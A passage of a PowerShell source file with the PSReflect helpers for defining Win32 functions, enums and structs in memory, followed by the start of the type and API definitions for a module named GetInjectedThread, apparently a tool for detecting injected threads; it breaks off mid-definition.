.PARAMETER SetLastError 393 | 394 | Indicates whether the callee calls the SetLastError Win32 API 395 | function before returning from the attributed method. 396 | 397 | .PARAMETER Module 398 | 399 | The in-memory module that will host the functions. Use 400 | New-InMemoryModule to define an in-memory module. 401 | 402 | .PARAMETER Namespace 403 | 404 | An optional namespace to prepend to the type. Add-Win32Type defaults 405 | to a namespace consisting only of the name of the DLL. 406 | 407 | .EXAMPLE 408 | 409 | $Mod = New-InMemoryModule -ModuleName Win32 410 | 411 | $FunctionDefinitions = @( 412 | (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), 413 | (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), 414 | (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) 415 | ) 416 | 417 | $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' 418 | $Kernel32 = $Types['kernel32'] 419 | $Ntdll = $Types['ntdll'] 420 | $Ntdll::RtlGetCurrentPeb() 421 | $ntdllbase = $Kernel32::GetModuleHandle('ntdll') 422 | $Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') 423 | 424 | .NOTES 425 | 426 | Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 427 | 428 | When defining multiple function prototypes, it is ideal to provide 429 | Add-Win32Type with an array of function signatures. That way, they 430 | are all incorporated into the same in-memory module. 431 | #> 432 | 433 | [OutputType([Hashtable])] 434 | Param( 435 | [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] 436 | [String] 437 | $DllName, 438 | 439 | [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] 440 | [String] 441 | $FunctionName, 442 | 443 | [Parameter(ValueFromPipelineByPropertyName = $True)] 444 | [String] 445 | $EntryPoint, 446 | 447 | [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] 448 | [Type] 449 | $ReturnType, 450 | 451 | [Parameter(ValueFromPipelineByPropertyName = $True)] 452 | [Type[]] 453 | $ParameterTypes, 454 | 455 | [Parameter(ValueFromPipelineByPropertyName = $True)] 456 | [Runtime.InteropServices.CallingConvention] 457 | $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, 458 | 459 | [Parameter(ValueFromPipelineByPropertyName = $True)] 460 | [Runtime.InteropServices.CharSet] 461 | $Charset = [Runtime.InteropServices.CharSet]::Auto, 462 | 463 | [Parameter(ValueFromPipelineByPropertyName = $True)] 464 | [Switch] 465 | $SetLastError, 466 | 467 | [Parameter(Mandatory = $True)] 468 | [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] 469 | $Module, 470 | 471 | [ValidateNotNull()] 472 | [String] 473 | $Namespace = '' 474 | ) 475 | 476 | BEGIN 477 | { 478 | $TypeHash = @{} 479 | } 480 | 481 | PROCESS 482 | { 483 | if ($Module -is [Reflection.Assembly]) 484 | { 485 | if ($Namespace) 486 | { 487 | $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") 488 | } 489 | else 490 | { 491 | $TypeHash[$DllName] = $Module.GetType($DllName) 492 | } 493 | } 494 | else 495 | { 496 | # Define one type for each DLL 497 | if (!$TypeHash.ContainsKey($DllName)) 498 | { 499 | if ($Namespace) 500 | { 501 | $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') 502 | } 503 | else 504 | { 505 | $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') 506 | } 507 | } 508 | 509 | $Method = $TypeHash[$DllName].DefineMethod( 510 | $FunctionName, 511 | 'Public,Static,PinvokeImpl', 512 | $ReturnType, 513 | $ParameterTypes) 514 | 515 | # Make each ByRef parameter an Out parameter 516 | $i = 1 517 | foreach($Parameter in $ParameterTypes) 518 | { 519 | if ($Parameter.IsByRef) 520 | { 521 | [void] $Method.DefineParameter($i, 'Out', $null) 522 | } 523 | 524 | $i++ 525 | } 526 | 527 | $DllImport = [Runtime.InteropServices.DllImportAttribute] 528 | $SetLastErrorField = $DllImport.GetField('SetLastError') 529 | $CallingConventionField = $DllImport.GetField('CallingConvention') 530 | $CharsetField = $DllImport.GetField('CharSet') 531 | $EntryPointField = $DllImport.GetField('EntryPoint') 532 | if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } 533 | 534 | if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName } 535 | 536 | # Equivalent to C# version of [DllImport(DllName)] 537 | $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) 538 | $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, 539 | $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), 540 | [Reflection.FieldInfo[]] @($SetLastErrorField, 541 | $CallingConventionField, 542 | $CharsetField, 543 | $EntryPointField), 544 | [Object[]] @($SLEValue, 545 | ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), 546 | ([Runtime.InteropServices.CharSet] $Charset), 547 | $ExportedFuncName)) 548 | 549 | $Method.SetCustomAttribute($DllImportAttribute) 550 | } 551 | } 552 | 553 | END 554 | { 555 | if ($Module -is [Reflection.Assembly]) 556 | { 557 | return $TypeHash 558 | } 559 | 560 | $ReturnTypes = @{} 561 | 562 | foreach ($Key in $TypeHash.Keys) 563 | { 564 | $Type = $TypeHash[$Key].CreateType() 565 | 566 | $ReturnTypes[$Key] = $Type 567 | } 568 | 569 | return $ReturnTypes 570 | } 571 | } 572 | 573 | function psenum 574 | { 575 | <# 576 | .SYNOPSIS 577 | 578 | Creates an in-memory enumeration for use in your PowerShell session. 579 | 580 | Author: Matthew Graeber (@mattifestation) 581 | License: BSD 3-Clause 582 | Required Dependencies: None 583 | Optional Dependencies: None 584 | 585 | .DESCRIPTION 586 | 587 | The 'psenum' function facilitates the creation of enums entirely in 588 | memory using as close to a "C style" as PowerShell will allow. 589 | 590 | .PARAMETER Module 591 | 592 | The in-memory module that will host the enum. Use 593 | New-InMemoryModule to define an in-memory module. 594 | 595 | .PARAMETER FullName 596 | 597 | The fully-qualified name of the enum. 598 | 599 | .PARAMETER Type 600 | 601 | The type of each enum element. 602 | 603 | .PARAMETER EnumElements 604 | 605 | A hashtable of enum elements. 606 | 607 | .PARAMETER Bitfield 608 | 609 | Specifies that the enum should be treated as a bitfield. 610 | 611 | .EXAMPLE 612 | 613 | $Mod = New-InMemoryModule -ModuleName Win32 614 | 615 | $ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ 616 | UNKNOWN = 0 617 | NATIVE = 1 # Image doesn't require a subsystem. 618 | WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. 619 | WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. 620 | OS2_CUI = 5 # Image runs in the OS/2 character subsystem. 621 | POSIX_CUI = 7 # Image runs in the Posix character subsystem. 622 | NATIVE_WINDOWS = 8 # Image is a native Win9x driver. 623 | WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. 624 | EFI_APPLICATION = 10 625 | EFI_BOOT_SERVICE_DRIVER = 11 626 | EFI_RUNTIME_DRIVER = 12 627 | EFI_ROM = 13 628 | XBOX = 14 629 | WINDOWS_BOOT_APPLICATION = 16 630 | } 631 | 632 | .NOTES 633 | 634 | PowerShell purists may disagree with the naming of this function but 635 | again, this was developed in such a way so as to emulate a "C style" 636 | definition as closely as possible. Sorry, I'm not going to name it 637 | New-Enum. :P 638 | #> 639 | 640 | [OutputType([Type])] 641 | Param 642 | ( 643 | [Parameter(Position = 0, Mandatory = $True)] 644 | [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] 645 | $Module, 646 | 647 | [Parameter(Position = 1, Mandatory = $True)] 648 | [ValidateNotNullOrEmpty()] 649 | [String] 650 | $FullName, 651 | 652 | [Parameter(Position = 2, Mandatory = $True)] 653 | [Type] 654 | $Type, 655 | 656 | [Parameter(Position = 3, Mandatory = $True)] 657 | [ValidateNotNullOrEmpty()] 658 | [Hashtable] 659 | $EnumElements, 660 | 661 | [Switch] 662 | $Bitfield 663 | ) 664 | 665 | if ($Module -is [Reflection.Assembly]) 666 | { 667 | return ($Module.GetType($FullName)) 668 | } 669 | 670 | $EnumType = $Type -as [Type] 671 | 672 | $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType) 673 | 674 | if ($Bitfield) 675 | { 676 | $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) 677 | $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) 678 | $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) 679 | } 680 | 681 | foreach ($Key in $EnumElements.Keys) 682 | { 683 | # Apply the specified enum type to each element 684 | $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) 685 | } 686 | 687 | $EnumBuilder.CreateType() 688 | } 689 | 690 | # A helper function used to reduce typing while defining struct 691 | # fields. 692 | function field 693 | { 694 | Param 695 | ( 696 | [Parameter(Position = 0, Mandatory = $True)] 697 | [UInt16] 698 | $Position, 699 | 700 | [Parameter(Position = 1, Mandatory = $True)] 701 | [Type] 702 | $Type, 703 | 704 | [Parameter(Position = 2)] 705 | [UInt16] 706 | $Offset, 707 | 708 | [Object[]] 709 | $MarshalAs 710 | ) 711 | 712 | @{ 713 | Position = $Position 714 | Type = $Type -as [Type] 715 | Offset = $Offset 716 | MarshalAs = $MarshalAs 717 | } 718 | } 719 | 720 | function struct 721 | { 722 | <# 723 | .SYNOPSIS 724 | 725 | Creates an in-memory struct for use in your PowerShell session. 726 | 727 | Author: Matthew Graeber (@mattifestation) 728 | License: BSD 3-Clause 729 | Required Dependencies: None 730 | Optional Dependencies: field 731 | 732 | .DESCRIPTION 733 | 734 | The 'struct' function facilitates the creation of structs entirely in 735 | memory using as close to a "C style" as PowerShell will allow. Struct 736 | fields are specified using a hashtable where each field of the struct 737 | is comprosed of the order in which it should be defined, its .NET 738 | type, and optionally, its offset and special marshaling attributes. 739 | 740 | One of the features of 'struct' is that after your struct is defined, 741 | it will come with a built-in GetSize method as well as an explicit 742 | converter so that you can easily cast an IntPtr to the struct without 743 | relying upon calling SizeOf and/or PtrToStructure in the Marshal 744 | class. 745 | 746 | .PARAMETER Module 747 | 748 | The in-memory module that will host the struct. Use 749 | New-InMemoryModule to define an in-memory module. 750 | 751 | .PARAMETER FullName 752 | 753 | The fully-qualified name of the struct. 754 | 755 | .PARAMETER StructFields 756 | 757 | A hashtable of fields. Use the 'field' helper function to ease 758 | defining each field. 759 | 760 | .PARAMETER PackingSize 761 | 762 | Specifies the memory alignment of fields. 763 | 764 | .PARAMETER ExplicitLayout 765 | 766 | Indicates that an explicit offset for each field will be specified. 767 | 768 | .EXAMPLE 769 | 770 | $Mod = New-InMemoryModule -ModuleName Win32 771 | 772 | $ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ 773 | DOS_SIGNATURE = 0x5A4D 774 | OS2_SIGNATURE = 0x454E 775 | OS2_SIGNATURE_LE = 0x454C 776 | VXD_SIGNATURE = 0x454C 777 | } 778 | 779 | $ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ 780 | e_magic = field 0 $ImageDosSignature 781 | e_cblp = field 1 UInt16 782 | e_cp = field 2 UInt16 783 | e_crlc = field 3 UInt16 784 | e_cparhdr = field 4 UInt16 785 | e_minalloc = field 5 UInt16 786 | e_maxalloc = field 6 UInt16 787 | e_ss = field 7 UInt16 788 | e_sp = field 8 UInt16 789 | e_csum = field 9 UInt16 790 | e_ip = field 10 UInt16 791 | e_cs = field 11 UInt16 792 | e_lfarlc = field 12 UInt16 793 | e_ovno = field 13 UInt16 794 | e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) 795 | e_oemid = field 15 UInt16 796 | e_oeminfo = field 16 UInt16 797 | e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) 798 | e_lfanew = field 18 Int32 799 | } 800 | 801 | # Example of using an explicit layout in order to create a union. 802 | $TestUnion = struct $Mod TestUnion @{ 803 | field1 = field 0 UInt32 0 804 | field2 = field 1 IntPtr 0 805 | } -ExplicitLayout 806 | 807 | .NOTES 808 | 809 | PowerShell purists may disagree with the naming of this function but 810 | again, this was developed in such a way so as to emulate a "C style" 811 | definition as closely as possible. Sorry, I'm not going to name it 812 | New-Struct. :P 813 | #> 814 | 815 | [OutputType([Type])] 816 | Param 817 | ( 818 | [Parameter(Position = 1, Mandatory = $True)] 819 | [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] 820 | $Module, 821 | 822 | [Parameter(Position = 2, Mandatory = $True)] 823 | [ValidateNotNullOrEmpty()] 824 | [String] 825 | $FullName, 826 | 827 | [Parameter(Position = 3, Mandatory = $True)] 828 | [ValidateNotNullOrEmpty()] 829 | [Hashtable] 830 | $StructFields, 831 | 832 | [Reflection.Emit.PackingSize] 833 | $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, 834 | 835 | [Switch] 836 | $ExplicitLayout 837 | ) 838 | 839 | if ($Module -is [Reflection.Assembly]) 840 | { 841 | return ($Module.GetType($FullName)) 842 | } 843 | 844 | [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, 845 | Class, 846 | Public, 847 | Sealed, 848 | BeforeFieldInit' 849 | 850 | if ($ExplicitLayout) 851 | { 852 | $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout 853 | } 854 | else 855 | { 856 | $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout 857 | } 858 | 859 | $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) 860 | $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] 861 | $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) 862 | 863 | $Fields = New-Object Hashtable[]($StructFields.Count) 864 | 865 | # Sort each field according to the orders specified 866 | # Unfortunately, PSv2 doesn't have the luxury of the 867 | # hashtable [Ordered] accelerator. 868 | foreach ($Field in $StructFields.Keys) 869 | { 870 | $Index = $StructFields[$Field]['Position'] 871 | $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} 872 | } 873 | 874 | foreach ($Field in $Fields) 875 | { 876 | $FieldName = $Field['FieldName'] 877 | $FieldProp = $Field['Properties'] 878 | 879 | $Offset = $FieldProp['Offset'] 880 | $Type = $FieldProp['Type'] 881 | $MarshalAs = $FieldProp['MarshalAs'] 882 | 883 | $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') 884 | 885 | if ($MarshalAs) 886 | { 887 | $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) 888 | if ($MarshalAs[1]) 889 | { 890 | $Size = $MarshalAs[1] 891 | $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, 892 | $UnmanagedType, $SizeConst, @($Size)) 893 | } 894 | else 895 | { 896 | $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) 897 | } 898 | 899 | $NewField.SetCustomAttribute($AttribBuilder) 900 | } 901 | 902 | if ($ExplicitLayout) { $NewField.SetOffset($Offset) } 903 | } 904 | 905 | # Make the struct aware of its own size. 906 | # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! 907 | $SizeMethod = $StructBuilder.DefineMethod('GetSize', 908 | 'Public, Static', 909 | [Int], 910 | [Type[]] @()) 911 | $ILGenerator = $SizeMethod.GetILGenerator() 912 | # Thanks for the help, Jason Shirk! 913 | $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) 914 | $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, 915 | [Type].GetMethod('GetTypeFromHandle')) 916 | $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, 917 | [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) 918 | $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) 919 | 920 | # Allow for explicit casting from an IntPtr 921 | # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! 922 | $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', 923 | 'PrivateScope, Public, Static, HideBySig, SpecialName', 924 | $StructBuilder, 925 | [Type[]] @([IntPtr])) 926 | $ILGenerator2 = $ImplicitConverter.GetILGenerator() 927 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) 928 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) 929 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) 930 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, 931 | [Type].GetMethod('GetTypeFromHandle')) 932 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, 933 | [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) 934 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) 935 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) 936 | 937 | $StructBuilder.CreateType() 938 | } 939 | 940 | #endregion PSReflect 941 | 942 | #region PSReflect Definitions (Thread) 943 | 944 | $Module = New-InMemoryModule -ModuleName GetInjectedThread 945 | 946 | #region Constants 947 | $UNTRUSTED_MANDATORY_LEVEL = "S-1-16-0" 948 | $LOW_MANDATORY_LEVEL = "S-1-16-4096" 949 | $MEDIUM_MANDATORY_LEVEL = "S-1-16-8192" 950 | $MEDIUM_PLUS_MANDATORY_LEVEL = "S-1-16-8448" 951 | $HIGH_MANDATORY_LEVEL = "S-1-16-12288" 952 | $SYSTEM_MANDATORY_LEVEL = "S-1-16-16384" 953 | $PROTECTED_PROCESS_MANDATORY_LEVEL = "S-1-16-20480" 954 | $SECURE_PROCESS_MANDATORY_LEVEL = "S-1-16-28672" 955 | #endregion Constants 956 | 957 | #region Enums 958 | $LuidAttributes = psenum $Module LuidAttributes UInt32 @{ 959 | DISABLED = '0x00000000' 960 | SE_PRIVILEGE_ENABLED_BY_DEFAULT = '0x00000001' 961 | SE_PRIVILEGE_ENABLED = '0x00000002' 962 | SE_PRIVILEGE_REMOVED = '0x00000004' 963 | SE_PRIVILEGE_USED_FOR_ACCESS = '0x80000000' 964 | } -Bitfield 965 | 966 | $MemProtection = psenum $Module MemProtection UInt32 @{ 967 | PAGE_EXECUTE = 0x10 968 | PAGE_EXECUTE_READ = 0x20 969 | PAGE_EXECUTE_READWRITE = 0x40 970 | PAGE_EXECUTE_WRITECOPY = 0x80 971 | PAGE_NOACCESS = 0x01 972 | PAGE_READONLY = 0x02 973 | PAGE_READWRITE = 0x04 974 | PAGE_WRITECOPY = 0x08 975 | PAGE_TARGETS_INVALID = 0x40000000 976 | PAGE_TARGETS_NO_UPDATE = 0x40000000 977 | PAGE_GUARD = 0x100 978 | PAGE_NOCACHE = 0x200 979 | PAGE_WRITECOMBINE = 0x400 980 | } -Bitfield 981 | 982 | $MemState = psenum $Module MemState UInt32 @{ 983 | MEM_COMMIT = 0x1000 984 | MEM_RESERVE = 0x2000 985 | MEM_FREE = 0x10000 986 | } 987 | 988 | $MemType = psenum $Module MemType UInt32 @{ 989 | MEM_PRIVATE = 0x20000 990 | MEM_MAPPED = 0x40000 991 | MEM_IMAGE = 0x1000000 992 | } 993 | 994 | $PROCESS_ACCESS = psenum $Module PROCESS_ACCESS UInt32 @{ 995 | PROCESS_TERMINATE = 0x00000001 996 | PROCESS_CREATE_THREAD = 0x00000002 997 | PROCESS_VM_OPERATION = 0x00000008 998 | PROCESS_VM_READ = 0x00000010 999 | PROCESS_VM_WRITE = 0x00000020 1000 | PROCESS_DUP_HANDLE = 0x00000040 1001 | PROCESS_CREATE_PROCESS = 0x00000080 1002 | PROCESS_SET_QUOTA = 0x00000100 1003 | PROCESS_SET_INFORMATION = 0x00000200 1004 | PROCESS_QUERY_INFORMATION = 0x00000400 1005 | PROCESS_SUSPEND_RESUME = 0x00000800 1006 | PROCESS_QUERY_LIMITED_INFORMATION = 0x00001000 1007 | DELETE = 0x00010000 1008 | READ_CONTROL = 0x00020000 1009 | WRITE_DAC = 0x00040000 1010 | WRITE_OWNER = 0x00080000 1011 | SYNCHRONIZE = 0x00100000 1012 | PROCESS_ALL_ACCESS = 0x001f1ffb 1013 | } -Bitfield 1014 | 1015 | $SecurityEntity = psenum $Module SecurityEntity UInt32 @{ 1016 | SeCreateTokenPrivilege = 1 1017 | SeAssignPrimaryTokenPrivilege = 2 1018 | SeLockMemoryPrivilege = 3 1019 | SeIncreaseQuotaPrivilege = 4 1020 | SeUnsolicitedInputPrivilege = 5 1021 | SeMachineAccountPrivilege = 6 1022 | SeTcbPrivilege = 7 1023 | SeSecurityPrivilege = 8 1024 | SeTakeOwnershipPrivilege = 9 1025 | SeLoadDriverPrivilege = 10 1026 | SeSystemProfilePrivilege = 11 1027 | SeSystemtimePrivilege = 12 1028 | SeProfileSingleProcessPrivilege = 13 1029 | SeIncreaseBasePriorityPrivilege = 14 1030 | SeCreatePagefilePrivilege = 15 1031 | SeCreatePermanentPrivilege = 16 1032 | SeBackupPrivilege = 17 1033 | SeRestorePrivilege = 18 1034 | SeShutdownPrivilege = 19 1035 | SeDebugPrivilege = 20 1036 | SeAuditPrivilege = 21 1037 | SeSystemEnvironmentPrivilege = 22 1038 | SeChangeNotifyPrivilege = 23 1039 | SeRemoteShutdownPrivilege = 24 1040 | SeUndockPrivilege = 25 1041 | SeSyncAgentPrivilege = 26 1042 | SeEnableDelegationPrivilege = 27 1043 | SeManageVolumePrivilege = 28 1044 | SeImpersonatePrivilege = 29 1045 | SeCreateGlobalPrivilege = 30 1046 | SeTrustedCredManAccessPrivilege = 31 1047 | SeRelabelPrivilege = 32 1048 | SeIncreaseWorkingSetPrivilege = 33 1049 | SeTimeZonePrivilege = 34 1050 | SeCreateSymbolicLinkPrivilege = 35 1051 | } 1052 | 1053 | $SidNameUser = psenum $Module SID_NAME_USE UInt32 @{ 1054 | SidTypeUser = 1 1055 | SidTypeGroup = 2 1056 | SidTypeDomain = 3 1057 | SidTypeAlias = 4 1058 | SidTypeWellKnownGroup = 5 1059 | SidTypeDeletedAccount = 6 1060 | SidTypeInvalid = 7 1061 | SidTypeUnknown = 8 1062 | SidTypeComputer = 9 1063 | } 1064 | 1065 | $THREAD_ACCESS = psenum $Module THREAD_ACCESS UInt32 @{ 1066 | THREAD_TERMINATE = 0x00000001 1067 | THREAD_SUSPEND_RESUME = 0x00000002 1068 | THREAD_GET_CONTEXT = 0x00000008 1069 | THREAD_SET_CONTEXT = 0x00000010 1070 | THREAD_SET_INFORMATION = 0x00000020 1071 | THREAD_QUERY_INFORMATION = 0x00000040 1072 | THREAD_SET_THREAD_TOKEN = 0x00000080 1073 | THREAD_IMPERSONATE = 0x00000100 1074 | THREAD_DIRECT_IMPERSONATION = 0x00000200 1075 | THREAD_SET_LIMITED_INFORMATION = 0x00000400 1076 | THREAD_QUERY_LIMITED_INFORMATION = 0x00000800 1077 | DELETE = 0x00010000 1078 | READ_CONTROL = 0x00020000 1079 | WRITE_DAC = 0x00040000 1080 | WRITE_OWNER = 0x00080000 1081 | SYNCHRONIZE = 0x00100000 1082 | THREAD_ALL_ACCESS = 0x001f0ffb 1083 | } -Bitfield 1084 | 1085 | $TOKEN_ACCESS = psenum $Module TOKEN_ACCESS UInt32 @{ 1086 | TOKEN_DUPLICATE = 0x00000002 1087 | TOKEN_IMPERSONATE = 0x00000004 1088 | TOKEN_QUERY = 0x00000008 1089 | TOKEN_QUERY_SOURCE = 0x00000010 1090 | TOKEN_ADJUST_PRIVILEGES = 0x00000020 1091 | TOKEN_ADJUST_GROUPS = 0x00000040 1092 | TOKEN_ADJUST_DEFAULT = 0x00000080 1093 | TOKEN_ADJUST_SESSIONID = 0x00000100 1094 | DELETE = 0x00010000 1095 | READ_CONTROL = 0x00020000 1096 | WRITE_DAC = 0x00040000 1097 | WRITE_OWNER = 0x00080000 1098 | SYNCHRONIZE = 0x00100000 1099 | STANDARD_RIGHTS_REQUIRED = 0x000F0000 1100 | TOKEN_ALL_ACCESS = 0x001f01ff 1101 | } -Bitfield 1102 | 1103 | $TokenInformationClass = psenum $Module TOKEN_INFORMATION_CLASS UInt16 @{ 1104 | TokenUser = 1 1105 | TokenGroups = 2 1106 | TokenPrivileges = 3 1107 | TokenOwner = 4 1108 | TokenPrimaryGroup = 5 1109 | TokenDefaultDacl = 6 1110 | TokenSource = 7 1111 | TokenType = 8 1112 | TokenImpersonationLevel = 9 1113 | TokenStatistics = 10 1114 | TokenRestrictedSids = 11 1115 | TokenSessionId = 12 1116 | TokenGroupsAndPrivileges = 13 1117 | TokenSessionReference = 14 1118 | TokenSandBoxInert = 15 1119 | TokenAuditPolicy = 16 1120 | TokenOrigin = 17 1121 | TokenElevationType = 18 1122 | TokenLinkedToken = 19 1123 | TokenElevation = 20 1124 | TokenHasRestrictions = 21 1125 | TokenAccessInformation = 22 1126 | TokenVirtualizationAllowed = 23 1127 | TokenVirtualizationEnabled = 24 1128 | TokenIntegrityLevel = 25 1129 | TokenUIAccess = 26 1130 | TokenMandatoryPolicy = 27 1131 | TokenLogonSid = 28 1132 | TokenIsAppContainer = 29 1133 | TokenCapabilities = 30 1134 | TokenAppContainerSid = 31 1135 | TokenAppContainerNumber = 32 1136 | TokenUserClaimAttributes = 33 1137 | TokenDeviceClaimAttributes = 34 1138 | TokenRestrictedUserClaimAttributes = 35 1139 | TokenRestrictedDeviceClaimAttributes = 36 1140 | TokenDeviceGroups = 37 1141 | TokenRestrictedDeviceGroups = 38 1142 | TokenSecurityAttributes = 39 1143 | TokenIsRestricted = 40 1144 | MaxTokenInfoClass = 41 1145 | } 1146 | #endregion Enums 1147 | 1148 | #region Structs 1149 | $LUID = struct $Module Luid @{ 1150 | LowPart = field 0 $SecurityEntity 1151 | HighPart = field 1 Int32 1152 | } 1153 | 1154 | $LUID_AND_ATTRIBUTES = struct $Module LuidAndAttributes @{ 1155 | Luid = field 0 $LUID 1156 | Attributes = field 1 UInt32 1157 | } 1158 | 1159 | $MEMORYBASICINFORMATION = struct $Module MEMORY_BASIC_INFORMATION @{ 1160 | BaseAddress = field 0 UIntPtr 1161 | AllocationBase = field 1 UIntPtr 1162 | AllocationProtect = field 2 UInt32 1163 | RegionSize = field 3 UIntPtr 1164 | State = field 4 UInt32 1165 | Protect = field 5 UInt32 1166 | Type = field 6 UInt32 1167 | } 1168 | 1169 | $SID_AND_ATTRIBUTES = struct $Module SidAndAttributes @{ 1170 | Sid = field 0 IntPtr 1171 | Attributes = field 1 UInt32 1172 | } 1173 | 1174 | $TOKEN_MANDATORY_LABEL = struct $Module TokenMandatoryLabel @{ 1175 | Label = field 0 $SID_AND_ATTRIBUTES; 1176 | } 1177 | 1178 | $TOKEN_ORIGIN = struct $Module TokenOrigin @{ 1179 | OriginatingLogonSession = field 0 UInt64 1180 | } 1181 | 1182 | $TOKEN_PRIVILEGES = struct $Module TokenPrivileges @{ 1183 | PrivilegeCount = field 0 UInt32 1184 | Privileges = field 1 $LUID_AND_ATTRIBUTES.MakeArrayType() -MarshalAs @('ByValArray', 50) 1185 | } 1186 | 1187 | $TOKEN_USER = struct $Module TOKEN_USER @{ 1188 | User = field 0 $SID_AND_ATTRIBUTES 1189 | } 1190 | #endregion Structs 1191 | 1192 | #region Function Definitions 1193 | $FunctionDefinitions = @( 1194 | (func kernel32 CloseHandle ([bool]) @( 1195 | [IntPtr] #_In_ HANDLE hObject 1196 | ) -SetLastError), 1197 | 1198 | (func advapi32 ConvertSidToStringSid ([bool]) @( 1199 | [IntPtr] #_In_ PSID Sid, 1200 | [IntPtr].MakeByRefType() #_Out_ LPTSTR *StringSid 1201 | ) -SetLastError), 1202 | 1203 | (func advapi32 GetTokenInformation ([bool]) @( 1204 | [IntPtr], #_In_ HANDLE TokenHandle 1205 | [Int32], #_In_ TOKEN_INFORMATION_CLASS TokenInformationClass 1206 | [IntPtr], #_Out_opt_ LPVOID TokenInformation 1207 | [UInt32], #_In_ DWORD TokenInformationLength 1208 | [UInt32].MakeByRefType() #_Out_ PDWORD ReturnLength 1209 | ) -SetLastError), 1210 | 1211 | (func ntdll NtQueryInformationThread ([UInt32]) @( 1212 | [IntPtr], #_In_ HANDLE ThreadHandle, 1213 | [Int32], #_In_ THREADINFOCLASS ThreadInformationClass, 1214 | [IntPtr], #_Inout_ PVOID ThreadInformation, 1215 | [Int32], #_In_ ULONG ThreadInformationLength, 1216 | [IntPtr] #_Out_opt_ PULONG ReturnLength 1217 | )), 1218 | 1219 | (func kernel32 OpenProcess ([IntPtr]) @( 1220 | [UInt32], #_In_ DWORD dwDesiredAccess, 1221 | [bool], #_In_ BOOL bInheritHandle, 1222 | [UInt32] #_In_ DWORD dwProcessId 1223 | ) -SetLastError), 1224 | 1225 | (func advapi32 OpenProcessToken ([bool]) @( 1226 | [IntPtr], #_In_ HANDLE ProcessHandle 1227 | [UInt32], #_In_ DWORD DesiredAccess 1228 | [IntPtr].MakeByRefType() #_Out_ PHANDLE TokenHandle 1229 | ) -SetLastError), 1230 | 1231 | (func kernel32 OpenThread ([IntPtr]) @( 1232 | [UInt32], #_In_ DWORD dwDesiredAccess, 1233 | [bool], #_In_ BOOL bInheritHandle, 1234 | [UInt32] #_In_ DWORD dwThreadId 1235 | ) -SetLastError), 1236 | 1237 | (func advapi32 OpenThreadToken ([bool]) 